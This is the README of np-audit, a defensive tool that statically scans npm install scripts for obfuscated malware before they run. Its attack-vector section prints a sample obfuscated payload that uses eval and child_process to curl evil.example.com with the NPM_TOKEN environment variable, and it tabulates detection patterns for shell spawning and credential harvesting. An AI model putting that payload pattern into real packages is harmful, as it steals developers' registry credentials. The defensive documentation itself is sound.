Package Exports
- np-audit
- np-audit/src/cli.js
This package does not declare an exports field, so the exports above have been automatically detected and optimized by JSPM instead. If any package subpath is missing, it is recommended to post an issue to the original package (np-audit) to support the "exports" field. If that is not possible, create a JSPM override to customize the exports field for this package.
Readme

np-audit — npm package auditor
Statically detect obfuscated code in npm preinstall/postinstall scripts before they run. Drop-in replacement for npm install and npm ci.
Zero dependencies. Pure Node.js built-ins only.
The Attack Vector
Supply chain attacks targeting the npm ecosystem frequently abuse lifecycle scripts. When you run npm install, npm automatically executes any preinstall, install, or postinstall script defined in a package's package.json. Attackers ship packages that look legitimate but embed malicious payloads hidden behind obfuscation techniques:
{
"scripts": {
"postinstall": "node ./dist/install.js"
}
}Where dist/install.js contains something like:
// Obfuscated — hard to read by design
var _0x3f2a = ['\x72\x65\x71\x75\x69\x72\x65', '\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73'];
eval(String.fromCharCode(114,101,113,117,105,114,101)+'(\'child_process\').exec(\'curl -s http://evil.example.com/\'+process.env.NPM_TOKEN)');Real-world examples include:
- event-stream (2018) — malicious postinstall that stole Bitcoin wallet credentials
- ua-parser-js (2021) — cryptocurrency miner + info-stealer injected via hijacked maintainer account
- node-ipc (2022) — wiper malware targeting systems by geo-IP
- colors / faker (2022) — deliberate sabotage by the maintainer via postinstall
- SAP CAP / cds-dbs (2025) — compromised npm package targeting SAP developers
npa never executes the scripts. It downloads and statically analyzes them, detecting:
| Signal | Example |
|---|---|
eval() / new Function() |
eval(atob("aGVsbG8=")) |
| Indirect eval | (0, eval)(x), globalThis['ev'+'al'](x) |
| Function constructor prototype | ({}).constructor.constructor("…")() |
setTimeout with string arg |
setTimeout('alert(1)', 100) |
| Obfuscator.io patterns | var _0x3f2a = [...] |
| High-entropy strings | Encrypted/compressed payloads |
| Split-literal high entropy | 'aB' + 'cD' + 'eF' + … (concat chain) |
| Hex / Unicode escape density | \x68\x65\x6c\x6c\x6f, \u0068\u0065… |
String.fromCharCode() chains |
String.fromCharCode(104,101,108,108,111) |
| Decimal char-code arrays | [101,118,97,108,...] (printable ASCII) |
| Base64 / hex decode + exec | Buffer.from(x,'base64'|'hex') + eval |
| Shell spawning | require('child_process').exec(...) |
worker_threads |
new Worker(...), eval-class surface |
Concealed require |
require('child' + '_process') |
Dynamic require / import |
require(variable), import(expr) |
| Large hex literal arrays | [0x1a, 0x2b, 0x3c, ...] × 20+ |
process.env access |
Token/credential harvesting |
| Outbound network calls | https/http/net/dns/tls/dgram/http2, node: prefix, dynamic import() |
| Missing referenced script | Command references file not in tarball |
| Oversized require graph | Postinstall reaches >50 files or >5 MB |
Coverage beyond the entry script
npa doesn't just inspect the single file named in the lifecycle command. It:
- Splits chained commands (
&&,||,;,|) and analyses each segment, sonode setup.js && node payload.jsno longer hides the second invocation. - Handles
node -e "…",sh -c "…",python -c "…"by analysing the inline code rather than just the wrapper command. - Reads shell scripts (
sh ./install.sh), Python scripts, and shebang-invoked files — not onlynodetargets. - Follows internal
require('./…')andimport './…'chains across the package (with cycle detection and per-package caps), so payloads hidden in helper files likelib/helper.jsare caught. - Records dynamic
require(variable)/import(expr)calls as findings, since they can't be resolved statically. - Scans the project's own
package.jsonlifecycle scripts by default, catching PRs and supply-chain attacks that target the repository itself. Opt out withscanSelf: falsein.npmauditor.json. - Inspects all lifecycle scripts npm may run, not only
preinstall/install/postinstall: alsoprepare,preprepare,postprepare, andprepublish.
Install
Global install (recommended):
npm install -g np-auditOr use directly with npx:
npx np-audit scanAfter global install, use the npa command:
npa --versionUsage
Commands
| Command | Alias | Description |
|---|---|---|
npa install [package] |
npa i |
Audit then run npm install |
npa ci |
— | Audit then run npm ci |
npa scan |
npa s |
Scan only, no install |
npa config get |
npa c get |
Show current configuration |
npa config set <key> <value> |
npa c set |
Update a config value |
npa alias |
— | Print shell hook for auto-scanning |
npa alias --install |
— | Install hook to shell profile |
npa alias --uninstall |
— | Remove hook from shell profile |
Use npa <command> -h for detailed help on any command.
Flags
| Flag | Alias | Works with | Description |
|---|---|---|---|
--review |
-r |
install, ci |
Interactive mode — choose which scripts to allow |
--json |
— | install, ci, scan |
Machine-readable JSON output |
--no-dev |
— | install, ci, scan |
Skip devDependencies |
--verbose |
— | all | Show fetch progress and extra detail |
--version |
— | — | Print version and exit |
--help |
-h |
— | Print help and exit |
Drop-in replacement for npm install
# Audit all dependencies, then install if clean
npa install # or: npa i
# Audit a specific package before adding it
npa i expressDrop-in replacement for npm ci
npa ciScan only (no install)
npa scan # or: npa s
npa s --json # machine-readable output
npa s --no-dev # skip devDependencies
npa s --verbose # show fetch progressInteractive --review mode
Review each install script yourself and decide which to allow:
npa i --review # or: npa i -r
npa ci --review npa --review mode
Use ↑/↓ to navigate, SPACE to toggle, ENTER to confirm, q to quit
Found 3 package(s) with install scripts:
[✓ allow] esbuild@0.24.2 postinstall: post-install.js OK
▶ [✗ deny ] evil-sdk@1.0.0 postinstall: install.js DANGER (score: 9)
[✓ allow] @scope/pkg@2.1.0 postinstall: install.js WARN (score: 5)
2 allowed 1 deniedAfter confirmation, npa runs npm install --ignore-scripts and then manually executes only the scripts you allowed.
Configuration
# Show current config
npa config get
# Change thresholds
npa config set blockScore 6 # block at score 6+ (default: 7)
npa config set warnScore 3 # warn at score 3+ (default: 4)
# Skip trusted packages or scopes
npa config set skipPackages '["esbuild","puppeteer"]'
npa config set skipScopes '["@types","@babel"]'Config is stored in ~/.npmauditor.json (global) and can be overridden per project with .npmauditor.json in your project root.
Shell Hook (npm alias)
Automatically run npa scan before every npm install or npm ci:
# Install the hook to your shell profile (~/.zshrc or ~/.bashrc)
npa alias --install
# Reload your shell
source ~/.zshrc # or ~/.bashrcNow when you run npm install or npm ci, npa will scan first:
$ npm install lodash
[npa] Scanning dependencies before npm install...
✔ No packages with install scripts found.
[npa] Scan passed. Running npm install...If issues are found, the install is blocked:
$ npm install evil-pkg
[npa] Scanning dependencies before npm install...
✗ evil-pkg@1.0.0 DANGER (score: 9)
[npa] Scan found issues. Run 'npa install --review' for interactive mode.To remove the hook:
npa alias --uninstallAll config keys
| Key | Default | Description |
|---|---|---|
blockScore |
7 |
Score threshold for hard block (exit 1) |
warnScore |
4 |
Score threshold for warning (exit 0) |
registry |
https://registry.npmjs.org |
npm registry URL |
timeout |
30000 |
HTTP request timeout (ms) |
parallelFetches |
5 |
Concurrent tarball downloads |
skipScopes |
[] |
@scope prefixes to skip entirely |
skipPackages |
[] |
Specific package names to skip |
silent |
false |
Suppress output when no issues found |
scanSelf |
true |
Also scan the current project's own package.json lifecycle scripts |
Exit codes
| Code | Meaning |
|---|---|
0 |
All packages clean or only warnings |
1 |
One or more packages blocked |
How it works
- Parse
package-lock.json(supports v1, v2, v3 formats) - Filter packages: skip dev deps (
--no-dev), skipped scopes/packages, packages without install scripts - Fetch or read — for packages in
node_modules: read from disk. For packages not yet installed: download the tarball from the npm registry and parse it in memory (pure Node.js tar.gz reader, notarpackage) - Parse the lifecycle command — split on
&&/||/;/|, classify each segment by interpreter (node,sh,python,bun, …), and treatnode -e/sh -carguments as inline code - Walk the require/import graph from each entry script — following internal
.//../paths, with cycle detection and per-package caps (50 files / 5 MB) - Analyze every reached file statically across all lifecycle scripts (
preinstall,install,postinstall,prepare,preprepare,postprepare,prepublish) — never execute - Also scan the current project's own
package.jsonlifecycle scripts (unlessscanSelf: false) - Score findings (0–10 per signal), classify as DANGER / WARN / OK based on config thresholds
- Report results to terminal or
--json— each finding is tagged with the file it came from - Proceed — run npm normally, or in
--reviewmode let you selectively allow scripts
Development
git clone https://github.com/KoblerS/np-audit.git
cd np-audit
npm test # run all unit + E2E tests
npm link # install npa globally from sourceNo build step, no transpilation — plain Node.js ≥ 18.
License
MIT